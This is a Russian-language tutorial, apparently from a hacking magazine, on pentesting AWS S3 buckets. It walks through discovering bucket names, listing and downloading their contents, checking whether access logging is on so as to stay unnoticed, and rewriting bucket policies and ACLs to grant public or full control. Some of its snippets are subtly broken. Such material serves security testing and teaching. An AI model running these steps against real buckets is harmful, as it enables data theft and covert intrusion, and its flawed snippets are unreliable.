February 22, 2023

Проверка ведер. Как искать уязвимости в бакетах AWS S3

У бакетов есть возможность контроля доступа: объекты могут быть общедоступными либо приватными. Доступ к приватным бывает как только для чтения, так и с возможностью записи.

Внутри S3 есть два типа данных: Bucket — контейнер для объектов и Object — сам файл. Самые частые способы взаимодействия:

  • List — перечислить все хранилища S3 или файлы на S3;
  • Get — получить файл;
  • Put — поместить файл на S3;
  • Delete — удалить файл.

Формат URL для доступа к S3 выглядит так:

http(s)://{имя бакета}.s3.{регион}.amazonaws.com


Здесь {имя} определяется владельцем бакета, например:

https://xakeprufiles.s3.us-west-2.amazonaws.com

Ба­кеты S3 мож­но обна­ружить раз­ными спо­соба­ми, нап­ример най­ти URL в исходном коде стра­ницы веб‑сай­та, в репози­тори­ях GitHub или даже авто­мати­зиро­вать про­цесс с помощью готовых ути­лит.

Для перебо­ра мож­но исполь­зовать наз­вание ком­пании, за которым сле­дуют общие тер­мины. Нап­ример, xakepru-assets, xakepru-www, xakepru-public, xakepru-private и так далее.

Так­же к бакету или объ­екту может быть при­вяза­на полити­ка безопас­ности.

С помощью политик мож­но ука­зать, кто име­ет дос­туп к ресур­су и какие дей­ствия может выпол­нять с ним. Есть четыре вари­анта:

  • пуб­личный дос­туп (Public Access);
  • ACL — сок­ращение от Access Control List. Мож­но нас­тра­ивать как на бакет, так и на кон­крет­ный объ­ект бакета;
  • Bucket Policies — нас­тра­ивают­ся толь­ко для бакета;
  • Time Limited URLs — вре­мен­ные URL для дос­тупа.

Еще есть полити­ки, осно­ван­ные на лич­ности, они прик­репля­ются к поль­зовате­лю, груп­пе или роли IAM. Поз­воля­ют опре­делять, что объ­ект может делать.

ПОИСК БАКЕТОВ

На­чать сто­ит с сер­виса greyhatwarfare.com. Он поз­воля­ет находить бакеты и объ­екты в них с помощью клю­чевых слов.

Ес­ли тол­ком ничего не находит­ся, то идем на сайт ком­пании. Здесь нам поможет Burp Suite. Прос­то прос­матри­вай веб‑сайт, а затем ана­лизи­руй получен­ную кар­ту.

При этом бакеты всег­да находят­ся на сле­дующих URL:

http://s3.[region].amazonaws.com/[bucket_name]/ http://[bucket_name].s3.[region].amazonaws.com/ http://s3-website-[region].amazonaws.com/[bucket_name] http://[bucket_name].s3-website-[region].amazonaws.com http://[bucketname].s3.dualstack.[region].amazonaws.com http://s3.dualstack.[region].amazonaws.com/[bucketname]

Нуж­но ли нам под­бирать пра­виль­ный реги­он? Нет! Amazon любез­но под­ска­жет, что мы ищем где‑то не там. Поэто­му нам дос­таточ­но лишь наз­вания бакета.

НЕВЕРНЫЙ РЕГИОН

Но как получить это наз­вание? Чаще все­го оно скры­вает­ся в записях CNAME (в них сопос­тавле­ны псев­донимы с исходны­ми DNS-име­нами) домена ата­куемой ком­пании. Обна­ружить их мож­но вот так:

dig <domain> any

При­мер:

dig flaws.cloud any

Смотрим DNS

Да, может быть, CNAME и пуст, но пос­мотрим, что еще есть на этом IP:

nslookup <ip>

При­мер:

nslookup 52.218.192.11

Обратный поиск

И получим, что к IP при­вязан еще и адрес s3-website-us-west-2.amazonaws.com. Это так называ­емый Website Endpoint. Эндпо­инты исполь­зуют­ся, ког­да с бакетом интегри­рован прос­тень­кий ста­тичес­кий веб‑сайт.

Все бакеты S3, нас­тро­енные для веб‑хос­тинга, получа­ют домен AWS, который мож­но исполь­зовать без собс­твен­ного DNS. То есть имя бакета в дан­ном слу­чае сов­пада­ет с име­нем домена, а имен­но flaws.cloud.

Ко­неч­но же, каж­дый домен переби­рать вруч­ную проб­лематич­но. Уско­рит дело прос­тень­кий скрипт на Bash:
while read p; do echo $p, curl --silent -I -i http://$p | grep AmazonS3 done < subdomains.txt

Перебор поддоменов

Об­рати вни­мание, что не все домены зарегис­три­рова­ны как записи CNAME. Некото­рые могут не отоб­ражать­ся явно в про­цес­се раз­решения имен. В таком слу­чае удоб­но исполь­зовать сайт dnscharts.hacklikeapornstar.com. Сюда мож­но заг­рузить спи­сок доменов, а сер­вис уже самос­тоятель­но най­дет записи и по воз­можнос­ти сопос­тавит их с облачны­ми сер­висами.

Визуализация всех записей

Если ты не знаешь, как находить поддомены, то рекомендую утилиту Amass в связке с новой техникой перечисления доменов.

На небольших таргетах одного инструмента будет достаточно:

amass enum -d <атакуемый домен> -passive -o res.txt

Пассивное сканирование найдет много лишнего, поэтому можно использовать активное:

amass enum -d <атакуемый домен> -active -o res.txt
Найденные поддомены

Но если все еще мало, то загружай домены в Regulator:

python3 main.py <атакуемый домен> <файл с доменами> <output-file>

Пример:

python3 main.py flaws.cloud res.txt flaws.rules

И генерируй список доменов с помощью полученных правил:

make_brute_list.sh flaws.rules flaws.brute

Итоговый список можно начинать проверять на валидность:

puredns resolve flaws.brute --write flaws.valid

Наконец, если никак не получается обнаружить имя бакета, то можно попробовать его сбрутить. Для этого существует куча инструментов:

S3Scanner
s3-inspector
AWSBucketDump (содержит список возможных имен) flumberbuckets
bucky
teh_s3_bucketeers
aws-pentest-tools/s3

ПОЛУЧЕНИЕ СОДЕРЖИМОГО​

Когда ты обнаружил максимальное число бакетов, пора переходить к перечислению их содержимого. С этим отлично справляется AWS CLI:

aws configure

Дальше вводим данные любой действительной учетной записи AWS.

Существует флаг --no-sign-request, который позволяет получать анонимный доступ, но я рекомендую все‑таки вводить хоть какие‑нибудь учетные данные.

Иногда бывает, что от анонима ничего не найти, но разведка от лица какого‑нибудь пользователя раскрывает интересную информацию. Подчеркиваю: требуется ввести данные любой учетной записи AWS. Абсолютно любой.

Предлагаю начать с получения полного списка объектов в бакете:

aws aws s3 ls s3://<имя бакета> --recursive

Либо:

aws s3api list-objects-v2 --bucket <имя бакета>

Пример:

aws s3 ls s3://flaws.cloud --recursive
aws s3api list-objects-v2 --bucket flaws.cloud
Изучение объектов бакета

Если объектов очень много, то можно покопаться в них с помощью стандартных регулярок.

# Извлечение имен файлов из параметра Key (имя файла)
grep '"Key"' object.txt | sed 's/[",]//g' > list_keys.txt

# Указываем интересующие нас расширения
patterns='\.sh$|\.sql$|\.tar\.gz$\.properties$|\.config$|\.tgz$\.conf$|\.zip$|\.7z$|\.rar$|\.txt$|\.ps1$|\.bat$|\.word$|\.xlsx$|\.xls$|\.pdf#39;

# Находим файлы, соответствующие шаблону
egrep $patterns list_keys.txt

Когда список возможных объектов получен, можно скачать их вот так:

aws s3api get-object --bucket <bucket-name> --key <имя файла> <download-file-location>

Например:

aws s3api get-object --bucket flaws.cloud --key aws.txt C:\Users\User\Desktop\downloaded.txt

Также можно скачать бакет целиком:

aws s3 sync s3://<bucket>/ .

Очень много бакетов содержат репозитории на GitHub. Если такой найдется, обязательно попытайся достать интересную информацию с помощью Gitleaks или TruffleHog.

РАЗВЕДКА ИЗ ОБЛАКА​

Не стоит забывать про бакеты, даже если у нас уже есть доступ в AWS. Ведь именно в бакетах постоянно встречаются файлы конфигурации, кукбуки, скрипты, необработанные данные, а иногда даже бэкапы баз данных.

AWS CLI​

Начинаем всегда с перечисления доступных бакетов:

aws s3api list-buckets
Поиск бакетов

Теперь можем изучить все ACL, настроенные на бакет:

aws s3api get-bucket-acl --bucket <bucket-name>

Например:

aws s3api get-bucket-acl --bucket buckettest
Просмотр ACL

Несложно догадаться, что Grantee — объект, которому выдаются права.

Настоящий хакер должен быть незаметным, как ниндзя. Поэтому обязательно проверяй, ведутся ли логи у атакуемого бакета:

aws s3api get-bucket-logging --bucket <имя бакета>

Например:

aws s3api get-bucket-logging --bucket buckettest

Если логирования нет, вывода не будет.

Отсутствие логирования

Если же логирование присутствует, AWS CLI уведомит нас об этом.

Логирование существует

В данном случае все логи доступа к бакету buckettestlogging будут лежать в бакете xakepru.

Обязательно посмотри и политику, привязанную к бакету:

aws s3api get-public-access-block --bucket <bucket-name>

Например:

aws s3api get-public-access-block --bucket buckettest
Изучаем политики, привязанные к бакету

Политики бывают следующие:

  • BlockPublicAcls — если true, то предотвращает создание любых ACL или изменение существующих ACL, дающих публичный доступ к бакету;
  • IgnorePublicAcls — если true, то любые действия с общедоступными ACL будут игнорироваться; это не помешать их создать, но предотвратит последствия;
  • BlockPublicPolicy — если true, то ставится запрет на создание или изменение политики, которая разрешает публичный доступ;
  • RestrictedPublicBuckets — если true, то к бакету смогут получить доступ лишь авторизованные пользователи. Собственно, из‑за этого параметра я и советовал тебе указывать данные любой учетной записи AWS.

Наконец, получаем все объекты в определенном бакете:

aws s3api list-objects-v2 --bucket <bucket name>

Пример:

aws s3api list-objects-v2 --bucket xakepru
Список объектов

Также ты можешь получить информацию об ACL конкретного объекта:

aws s3api get-object-acl --bucket <bucket-name> --key <object-name>

Пример:

aws s3api get-object-acl --bucket xakepru --key aws.txt
aws s3api get-object-acl --bucket xakepru --key folder1/aws.txt

Эксфильтрация​

Чтобы достать данные из бакета, нам требуется доступ на чтение (READ).

Способы получения доступа к объектам

Давай повторим пройденное. Как ты уже понял, самый частый мисконфиг — всем пользователям предоставляются права на чтение. В таком случае мы можем найти адрес бакета и прочитать его содержимое даже без аутентификации. Также бывает, что права на чтение есть лишь у авторизованных пользователей либо у одного конкретного пользователя. В таком случае мы сможем получить доступ к содержимому через API или CLI. Наконец, доступ к бакету можно получить, используя специально сгенерированную временную ссылку.

Полезно также смотреть размеры бакета и опись содержимого:

aws s3api list-objects --bucket <имя бакета> --output json --query "[sum(Contents[].Size), length(Contents[])]"

Пример:

aws s3api list-objects --bucket flaws.cloud --output json --query "[sum(Contents[].Size), length(Contents[])]"
Размеры бакета

Как скачивать отдельный объект с помощью get-object либо весь бакет с помощью sync, мы уже разобрали. Теперь обратим внимание на временную ссылку для скачивания объектов. Любой, кто имеет валидные учетные данные и доступ к бакету, может создать ее:

aws s3 presign s3://<Bucket-Name>/<key-Object-Name> --expires-in <время в секундах>

Пример:

aws s3 presign s3://xakepru/Xakep001.pdf --expires-in 604800
Получение временной ссылки на скачивание объекта

ПОВЫШЕНИЕ ПРИВИЛЕГИЙ​

К бакету могут быть привязаны политики, ACL, поэтому, имея определенные права, можем сделать, например, бакет общедоступным.

Изменение политики бакета​

Для эксплуатации требуется наличие s3:PutBucketPolicy. С этой привилегией сможем предоставить больше разрешений на бакеты, например разрешим себе читать, записывать, изменять и удалять бакеты:

aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <имя бакета>

Сама политика может выглядеть вот так:

{
  "Id": "Policy1568185116930",
  "Version": "2012-10-17",
  "Statement": [
  {
      "Sid": "Stmt1568184932403",
      "Action": [
        "s3:*"
      ],
      "Effect": "Allow",
      "Resource": "arn:aws:s3:::<имя бакета>",
      "Principal": "*"
  }
}

Изменение ACL бакета​

Нам нужно s3:PutBucketAcl. Благодаря такой привилегии сможем изменить ACL, привязанный к бакету:

aws s3api put-bucket-acl --bucket <имя бакета> --access-control-policy file://acl.json

Пример политики:

{
  "Owner": {
    "DisplayName": "<Кого ты хочешь сделать владельцем>",
    "ID": "<ID>"
  },
  "Grants": [
  {
    "Grantee": {
      "Type": "Group",
      "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
    },
  "Permission": "FULL_CONTROL"
  }
  ]
}

Изменение ACL объекта​

Для этого потребуется s3:PutObjectAcl. Может быть так, что ACL на бакет изменить мы не сможем, но вот ACL на определенный объект в состоянии. Эксплуатируем:

aws s3api put-object-acl --bucket <имя бакета> --key <объект> --access-control-policy file://objacl.json

Политика может быть вот такой:

{
  "Owner": {
    "DisplayName": "<Кого ты хочешь сделать владельцем>",
    "ID": "<ID>"
  },
  "Grants": [
  {
    "Grantee": {
      "Type": "Group",
      "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
    },
  "Permission": "FULL_CONTROL"
  }
 ]
}

ВЫВОДЫ​

Казалось бы, S3 — не более чем сервис хранения данных. Но, как ты смог убедиться, даже обычное файлохранилище может быть уязвимым само и открывать другие уязвимости. Любая возможность расширить поверхность атаки важна при пентестах, и плохо настроенные бакеты могут в этом плане сослужить отличную службу.

Наш канал : https://t.me/webhack_kakao